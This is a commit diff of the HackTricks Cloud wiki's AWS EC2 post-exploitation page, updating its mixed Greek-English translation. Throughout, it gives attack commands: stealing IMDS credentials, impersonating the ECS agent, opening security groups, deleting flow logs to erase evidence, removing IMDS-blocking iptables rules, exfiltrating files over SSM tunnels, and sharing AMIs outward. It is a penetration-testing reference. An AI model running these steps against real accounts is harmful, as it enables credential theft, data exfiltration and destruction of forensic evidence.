mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+93
-53
@@ -12,8 +12,8 @@
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **αντιγράφει την εισερχόμενη και εξερχόμενη κίνηση για EC2 instances εντός ενός VPC** χωρίς την ανάγκη να εγκατασταθεί οτιδήποτε στα ίδια τα instances. Αυτή η αντιγραμμένη κίνηση συνήθως αποστέλλεται σε κάτι σαν σύστημα ανίχνευσης εισβολών δικτύου (IDS) για ανάλυση και παρακολούθηση.\
|
||||
Ένας attacker θα μπορούσε να το καταχραστεί για να καταγράψει όλη την κίνηση και να αποκτήσει ευαίσθητες πληροφορίες από αυτή:
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στα ίδια τα instances. Αυτή η αντιγραμμένη κίνηση συνήθως αποστέλλεται σε κάτι σαν network intrusion detection system (IDS) για ανάλυση και παρακολούθηση.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να καταγράψει όλη την κίνηση και να αποκτήσει ευαίσθητες πληροφορίες από αυτήν:
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε αυτή τη σελίδα:
|
||||
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
Τα instances συνήθως περιέχουν κάποιο είδος ευαίσθητων πληροφοριών. Υπάρχουν διαφορετικοί τρόποι για να αποκτήσετε πρόσβαση (βλέπε [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **δημιουργήσετε ένα AMI και να εκκινήσετε ένα νέο instance (ακόμη και στο δικό σας account) από αυτό**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots είναι αντίγραφα ασφαλείας των volumes**, τα οποία συνήθως θα περιέχουν **ευαίσθητες πληροφορίες**, επομένως ο έλεγχός τους θα πρέπει να αποκαλύψει αυτές τις πληροφορίες.\
|
||||
Αν βρείτε ένα **volume χωρίς snapshot** μπορείτε να: **δημιουργήσετε ένα snapshot** και να εκτελέσετε τις παρακάτω ενέργειες ή απλά **να το mountάρετε σε ένα instance** εντός του account:
|
||||
**Snapshots are backups of volumes**, τα οποία συνήθως περιέχουν **ευαίσθητες πληροφορίες**, επομένως ο έλεγχος τους θα πρέπει να αποκαλύψει αυτές τις πληροφορίες.\
|
||||
Αν βρείτε ένα **volume without a snapshot** μπορείτε να: **Create a snapshot** και να εκτελέσετε τις ακόλουθες ενέργειες ή απλώς **mount it in an instance** μέσα στον λογαριασμό:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Εξάγετε ένα EC2 AMI απευθείας σε S3 χρησιμοποιώντας `CreateStoreImageTask` για να αποκτήσετε μια raw εικόνα δίσκου χωρίς κοινή χρήση snapshot. Αυτό επιτρέπει πλήρη offline forensics ή κλοπή δεδομένων αφήνοντας το networking του instance αμετάβλητο.
|
||||
Εξάγετε ένα EC2 AMI απευθείας σε S3 χρησιμοποιώντας `CreateStoreImageTask` για να αποκτήσετε ένα raw disk image χωρίς snapshot sharing. Αυτό επιτρέπει πλήρη offline forensics ή data theft ενώ το instance networking παραμένει ανέπαφο.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Συνδέστε ένα io1/io2 Multi-Attach volume σε δεύτερο instance και προσαρτήστε το σε read-only για να αναρροφήσετε ζωντανά δεδομένα χωρίς snapshots. Χρήσιμο όταν το victim volume έχει ήδη ενεργοποιημένο Multi-Attach στην ίδια AZ.
|
||||
Συνδέστε ένα io1/io2 Multi-Attach volume σε ένα δεύτερο instance και κάντε mount ως read-only για να αποσπάσετε live data χωρίς snapshots. Χρήσιμο όταν το victim volume έχει ήδη ενεργοποιημένο Multi-Attach στην ίδια AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Δημιουργήστε ένα EC2 Instance Connect Endpoint, εξουσιοδοτήστε ingress και εγχύστε ephemeral SSH keys για πρόσβαση σε private instances μέσω ενός managed tunnel. Παρέχει γρήγορους δρόμους για lateral movement χωρίς να ανοίγουν public ports.
|
||||
Δημιουργήστε ένα EC2 Instance Connect Endpoint, εξουσιοδοτήστε ingress και εγχύστε ephemeral SSH keys για πρόσβαση σε private instances μέσω ενός managed tunnel. Παρέχει γρήγορες διαδρομές lateral movement χωρίς να ανοίγετε public ports.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Μετακινήστε τη δευτερεύουσα private IP ενός victim ENI σε ένα ENI που ελέγχεται από τον attacker για να μιμηθείτε trusted hosts που είναι allowlisted κατά IP. Επιτρέπει την παράκαμψη εσωτερικών ACLs ή SG κανόνων που βασίζονται σε συγκεκριμένες διευθύνσεις.
|
||||
Μεταφέρετε τη secondary private IP ενός victim ENI σε ένα ENI που ελέγχεται από τον attacker για να μιμηθείτε trusted hosts που είναι allowlisted κατά IP. Επιτρέπει την παράκαμψη internal ACLs ή SG rules που βασίζονται σε συγκεκριμένες διευθύνσεις.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Επανασυνδέστε ένα Elastic IP από το victim instance στον attacker για να παρεμβληθείτε στο inbound traffic ή να εγκαινιάσετε outbound συνδέσεις που φαίνεται να προέρχονται από trusted public IPs.
|
||||
Ανασυνδέστε (reassociate) ένα Elastic IP από την victim instance στον attacker για να υποκλέψετε inbound traffic ή να προκύψετε outbound connections που φαίνεται να προέρχονται από trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Αν ένας κανόνας security group αναφέρεται σε μια customer-managed prefix list, η προσθήκη attacker CIDRs στη λίστα διευρύνει σιωπηρά την πρόσβαση σε κάθε εξαρτώμενο SG κανόνα χωρίς να τροποποιηθεί το ίδιο το SG.
|
||||
Αν ένας κανόνας security group αναφέρεται σε μια customer-managed prefix list, η προσθήκη attacker CIDRs στη λίστα επεκτείνει αθόρυβα την πρόσβαση σε κάθε εξαρτώμενο SG rule χωρίς να τροποποιηθεί το ίδιο το SG.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Δημιουργήστε gateway ή interface VPC endpoints για να ανακτήσετε outbound access από απομονωμένα subnets. Η αξιοποίηση AWS-managed private links παρακάμπτει τα απουσιάζοντα IGW/NAT controls για data exfiltration.
|
||||
Δημιουργήστε gateway ή interface VPC endpoints για να ανακτήσετε outbound access από απομονωμένα subnets. Η αξιοποίηση AWS-managed private links παρακάμπτει την έλλειψη IGW/NAT controls για data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Ένας attacker με το permission `ec2:AuthorizeSecurityGroupIngress` μπορεί να προσθέσει inbound κανόνες σε security groups (για παράδειγμα, επιτρέποντας `tcp:80` από `0.0.0.0/0`), εκθέτοντας έτσι εσωτερικές υπηρεσίες στο public Internet ή σε μη εξουσιοδοτημένα δίκτυα.
|
||||
Ένας attacker με την ec2:AuthorizeSecurityGroupIngress permission μπορεί να προσθέσει inbound rules σε security groups (π.χ. επιτρέποντας tcp:80 από 0.0.0.0/0), εκθέτοντας έτσι internal services στο public Internet ή σε μη εξουσιοδοτημένα δίκτυα.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Ένας επιτιθέμενος με δικαιώματα ec2:ReplaceNetworkAclEntry (ή παρόμοια) μπορεί να τροποποιήσει τα Network ACLs (NACLs) ενός subnet ώστε να τα κάνει πολύ πιο επιτρεπτικά — για παράδειγμα επιτρέποντας 0.0.0.0/0 σε κρίσιμες θύρες — εκθέτοντας ολόκληρο το εύρος του subnet στο Internet ή σε μη εξουσιοδοτημένα τμήματα δικτύου. Σε αντίθεση με τα Security Groups, που εφαρμόζονται ανά instance, τα NACLs εφαρμόζονται σε επίπεδο subnet, οπότε η αλλαγή ενός περιοριστικού NACL μπορεί να έχει πολύ μεγαλύτερη έκταση αντίκτυπου επιτρέποντας πρόσβαση σε πολλούς περισσότερους hosts.
|
||||
Ένας επιτιθέμενος με δικαιώματα ec2:ReplaceNetworkAclEntry (ή παρόμοια) μπορεί να τροποποιήσει τα Network ACLs (NACLs) ενός subnet για να τα κάνει πολύ πιο επιεική — για παράδειγμα επιτρέποντας 0.0.0.0/0 σε κρίσιμες θύρες — εκθέτοντας ολόκληρο το εύρος του subnet στο Internet ή σε μη εξουσιοδοτημένα τμήματα δικτύου. Σε αντίθεση με τα Security Groups, που εφαρμόζονται ανά-instance, τα NACLs εφαρμόζονται σε επίπεδο subnet, οπότε η αλλαγή ενός περιοριστικού NACL μπορεί να έχει πολύ μεγαλύτερη έκταση επιρροής επιτρέποντας πρόσβαση σε πολλούς περισσότερους hosts.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Ένας επιτιθέμενος με δικαιώματα ec2:Delete* και iam:Remove* μπορεί να διαγράψει κρίσιμους πόρους υποδομής και ρυθμίσεις — για παράδειγμα key pairs, launch templates/versions, AMIs/snapshots, volumes ή attachments, ομάδες ασφάλειας ή κανόνες, ENIs/network endpoints, route tables, gateways ή managed endpoints. Αυτό μπορεί να προκαλέσει άμεση διακοπή υπηρεσίας, απώλεια δεδομένων και απώλεια τεκμηρίων.
|
||||
Ένας επιτιθέμενος με δικαιώματα ec2:Delete* και iam:Remove* μπορεί να διαγράψει κρίσιμες υποδομές και ρυθμίσεις — για παράδειγμα key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Αυτό μπορεί να προκαλέσει άμεση διακοπή υπηρεσίας, απώλεια δεδομένων και απώλεια αποδεικτικών στοιχείων για forensic.
|
||||
|
||||
One example is deleting a security group:
|
||||
Ένα παράδειγμα είναι η διαγραφή ενός security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Κατευθύνετε τα VPC Flow Logs σε έναν S3 bucket που ελέγχεται από επιτιθέμενο για να συλλέγετε συνεχώς μεταδεδομένα δικτύου (πηγή/προορισμός, θύρες) έξω από τον λογαριασμό του θύματος για μακροχρόνια αναγνώριση.
|
||||
Κατευθύνετε τα VPC Flow Logs σε ένα S3 bucket που ελέγχεται από επιτιθέμενο για να συλλέγετε συνεχώς metadata δικτύου (source/destination, ports) εκτός του λογαριασμού-θύματος για μακροχρόνια αναγνώριση.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,32 +150,70 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Ακόμα κι αν περιορίσετε ένα EC2 ώστε να μην βγαίνει κίνηση, μπορεί ακόμα να **exfil via DNS**.
|
||||
Ακόμη και αν περιορίσετε (lock down) ένα EC2 έτσι ώστε να μην μπορεί να βγει κίνηση, μπορεί παρ' όλα αυτά να κάνει **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
- Δεν έχετε πρόσβαση στα AWS DNS αρχεία καταγραφής.
|
||||
- Απενεργοποιήστε αυτό ορίζοντας το "enableDnsSupport" σε false με:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να καλεί API endpoints ενός λογαριασμού που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs.
|
||||
Ένας επιτιθέμενος μπορεί να καλέσει API endpoints ενός λογαριασμού που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε υπηρεσίες δικτύου ανοίγοντας θύρες όπως παρακάτω:
|
||||
Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε υπηρεσίες δικτύου ανοίγοντας θύρες όπως το εξής:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Είναι δυνατό να τρέξετε ένα EC2 instance και να το καταχωρήσετε για να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να κλέψετε τα δεδομένα των ECS instances.
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
Μια παραβίαση μέσα σε οποιαδήποτε ECS task που τρέχει σε ένα EC2 container instance συνήθως αρκεί για να μετατοπιστείτε στον ρόλο του host και στους IAM ρόλους που σχετίζονται με όλες τις άλλες εργασίες σε εκείνον τον κόμβο. Επειδή υπάρχει **no task isolation for ECS-on-EC2**, κάθε task μπορεί από προεπιλογή να κάνει query στο EC2 Instance Metadata Service (IMDS), να κλέψει το container instance profile, και στη συνέχεια να μιλήσει το ίδιο πρωτόκολλο WebSocket που χρησιμοποιεί ο ECS agent προς το control plane (το **ECScape** primitive) για να ζητήσει τα credentials για κάθε task που είναι αυτήν τη στιγμή προγραμματισμένο σε εκείνο τον host. Η Latacora τεκμηρίωσε αυτή τη ροή εργασίας στην [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), την οποία συνοψίζει η παρακάτω offensive περίληψη.
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Κλέψτε το instance profile από μέσα στο container. Θεωρήστε ότι απαιτείται IMDSv2, οπότε ζητήστε ένα token και μετά ανακτήστε το profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** Χρησιμοποιώντας αυτά τα credentials μπορείτε να μιλήσετε στο μη τεκμηριωμένο WebSocket κανάλι που χρησιμοποιεί ο ECS agent· το control plane σας εμπιστεύεται ως τον πραγματικό agent και παραδίδει **all task IAM credentials** στη διαδικασία σας. Τώρα μπορείτε να τρέξετε τοπικά tasks με υψηλότερα προνόμια, να εξάγετε μυστικά από το περιβάλλον των tasks, ή να ενημερώσετε services/tasks για να επανααναπτύξετε workloads που μπορείτε να ελέγξετε πλήρως.
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Η ρύθμιση IMDSv2 με `HttpTokens=required` και `HttpPutResponseHopLimit=1` μπλοκάρει μόνο τα tasks που βρίσκονται πίσω από ένα επιπλέον hop (Docker bridge). Οι άλλοι τρόποι δικτύωσης παραμένουν εντός ενός hop από τον Nitro controller και εξακολουθούν να λαμβάνουν απαντήσεις:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Κάθε task παίρνει το δικό της ENI που εξακολουθεί να είναι ένα hop μακριά από το IMDS, οπότε τα tokens και οι απαντήσεις metadata φτάνουν επιτυχώς. |
|
||||
| `host` | ✅ | Τα tasks μοιράζονται το host namespace, οπότε βλέπουν την ίδια απόσταση hop με το EC2 instance. |
|
||||
| `bridge` | ❌ | Οι απαντήσεις χάνονται στο Docker bridge επειδή αυτό το επιπλέον hop εξαντλεί το hop limit. |
|
||||
|
||||
Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Τα Security groups, οι NACLs ή αλλαγές δρομολόγησης δεν μπορούν να μπλοκάρουν τη link-local διεύθυνση 169.254.169.254 επειδή ο Nitro την εγχέει στο host. Ελέγξτε το `/etc/ecs/ecs.config` για `ECS_AWSVPC_BLOCK_IMDS=true`. Αν η σημαία λείπει (προεπιλογή) μπορείτε να κάνετε curl στο IMDS απευθείας από το task. Αν είναι ρυθμισμένη, μεταβείτε στο host/agent namespace για να την αναστρέψετε ή εκτελέστε τα εργαλεία σας εκτός awsvpc.
|
||||
|
||||
- **bridge mode:** Όταν τα αιτήματα metadata αποτυγχάνουν παρόλο που το hop limit 1 είναι ρυθμισμένο, οι αμυνόμενοι πιθανότατα εισήγαγαν έναν κανόνα DROP στο `DOCKER-USER` όπως `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Η εντολή `iptables -S DOCKER-USER` τον αποκαλύπτει, και η πρόσβαση root σας επιτρέπει να διαγράψετε ή να αλλάξετε τη σειρά του κανόνα πριν κάνετε query στο IMDS.
|
||||
|
||||
- **host mode:** Ελέγξτε τη διαμόρφωση του agent για `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Αυτή η ρύθμιση αφαιρεί εντελώς τους IAM ρόλους των tasks, οπότε πρέπει είτε να την ενεργοποιήσετε ξανά, να μεταβείτε σε awsvpc tasks, είτε να κλέψετε credentials μέσω κάποιου άλλου process στο host. Όταν η τιμή είναι `true` (προεπιλογή), κάθε host-mode process — συμπεριλαμβανομένων των παραβιασμένων containers — μπορεί να προσεγγίσει το IMDS εκτός αν ειδικά eBPF/cgroup φίλτρα στοχεύουν τη διεύθυνση `169.254.169.254`; ψάξτε για tc/eBPF προγράμματα ή iptables κανόνες που αναφέρονται σε αυτή τη διεύθυνση.
|
||||
|
||||
Η Latacora δημοσίευσε ακόμη και [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) που μπορείτε να ρίξετε σε έναν target account για να εντοπίσετε ποιες λειτουργίες δικτύωσης εξακολουθούν να εκθέτουν metadata και να σχεδιάσετε το επόμενο βήμα σας ανάλογα.
|
||||
|
||||
Μόλις κατανοήσετε ποιες λειτουργίες εκθέτουν το IMDS, μπορείτε να σχεδιάσετε την post-exploitation πορεία σας: στοχεύστε οποιαδήποτε ECS task, ζητήστε το instance profile, μιμηθείτε τον agent και συλλέξτε κάθε άλλο task role για lateral movement ή persistence μέσα στο cluster.
|
||||
|
||||
### Αφαίρεση VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -185,7 +223,7 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει το traffic tunneling το οποίο μπορεί να καταχραστεί για να γίνει pivot από EC2 instances που δεν έχουν πρόσβαση στο δίκτυο λόγω Security Groups ή NACLs.
|
||||
Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει traffic tunneling το οποίο μπορεί να καταχραστεί για να γίνει pivoting από EC2 instances που δεν έχουν πρόσβαση στο δίκτυο λόγω Security Groups ή NACLs.
|
||||
Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από ένα [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) σε ένα ιδιωτικό EKS cluster.
|
||||
|
||||
> Για να ξεκινήσετε μια συνεδρία χρειάζεστε εγκατεστημένο το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
@@ -195,54 +233,54 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Αποκτήστε τα προσωρινά AWS διαπιστευτήρια του Bastion EC2 με το [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Μεταφέρετε τα διαπιστευτήρια στον δικό σας υπολογιστή στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]`
|
||||
5. Συνδεθείτε στο EKS ως το Bastion EC2:
|
||||
3. Πάρε τις προσωρινές διαπιστεύσεις AWS του Bastion EC2 με το [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Μεταφέρε τις διαπιστεύσεις στο δικό σου μηχάνημα στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]`
|
||||
5. Συνδέσου στο EKS ως το Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει στο `https://localhost`
|
||||
6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει σε `https://localhost`
|
||||
7. Δημιουργήστε ένα SSM tunnel ως εξής:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Η κυκλοφορία από το εργαλείο `kubectl` προωθείται τώρα μέσω του SSM tunnel που διέρχεται από το Bastion EC2 και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό EKS cluster από τον δικό σας υπολογιστή εκτελώντας:
|
||||
8. Η κίνηση του εργαλείου `kubectl` προωθείται πλέον μέσω του SSM tunnel μέσω του Bastion EC2, και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό cluster EKS από τον υπολογιστή σας εκτελώντας:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός αν ορίσετε τη σημαία `--insecure-skip-tls-verify ` (ή το ισοδύναμό της σε εργαλεία audit του K8s). Δεδομένου ότι η κίνηση διέρχεται μέσω του ασφαλούς AWS SSM tunnel, είστε ασφαλείς από οποιοδήποτε είδος MitM attacks.
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
|
||||
Τέλος, αυτή η τεχνική δεν είναι ειδική για επιθέσεις σε private EKS clusters. Μπορείτε να ορίσετε αυθαίρετα domains και ports για να κάνετε pivot σε οποιαδήποτε άλλη AWS υπηρεσία ή σε μια προσαρμοσμένη εφαρμογή.
|
||||
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
|
||||
|
||||
---
|
||||
|
||||
#### Γρήγορη τοπική ↔️ απομακρυσμένη Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Αν χρειάζεστε μόνο να προωθήσετε **ένα TCP port από το EC2 instance προς το local host** μπορείτε να χρησιμοποιήσετε το SSM document `AWS-StartPortForwardingSession` (δεν απαιτείται παράμετρος remote host):
|
||||
Αν χρειάζεστε μόνο να προωθήσετε **μία TCP θύρα από το EC2 instance προς το τοπικό σας host** μπορείτε να χρησιμοποιήσετε το `AWS-StartPortForwardingSession` SSM document (δεν απαιτείται παράμετρος remote host):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Η εντολή δημιουργεί ένα αμφίδρομο tunnel μεταξύ του υπολογιστή εργασίας σας (`localPortNumber`) και της επιλεγμένης θύρας (`portNumber`) στο instance **without opening any inbound Security-Group rules**.
|
||||
Η εντολή δημιουργεί ένα αμφίδρομο tunnel μεταξύ του workstation σας (`localPortNumber`) και της επιλεγμένης θύρας (`portNumber`) στο instance **χωρίς να ανοίξει κανένας εισερχόμενος κανόνας Security-Group**.
|
||||
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Στο instance ξεκινήστε έναν γρήγορο HTTP server που εξυπηρετεί τον κατάλογο που θέλετε να exfiltrate:
|
||||
1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Από τον υπολογιστή εργασίας σας ανακτήστε τα αρχεία μέσω του SSM tunnel:
|
||||
2. From your workstation fetch the files through the SSM tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Πρόσβαση σε εσωτερικές web εφαρμογές (π.χ. Nessus)**
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,18 +288,18 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Συμβουλή: Συμπιέστε και κρυπτογραφήστε τα αποδεικτικά στοιχεία πριν τα εξαγάγετε, ώστε το CloudTrail να μην καταγράφει το περιεχόμενο σε απλό κείμενο:
|
||||
Συμβουλή: Compress και encrypt τα αποδεικτικά στοιχεία πριν από το exfiltrating τους, ώστε το CloudTrail να μην καταγράφει το clear-text περιεχόμενο:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### Κοινή χρήση AMI
|
||||
### Κοινοποίηση AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Αναζήτηση ευαίσθητων πληροφοριών σε δημόσια και ιδιωτικά AMIs
|
||||
|
||||
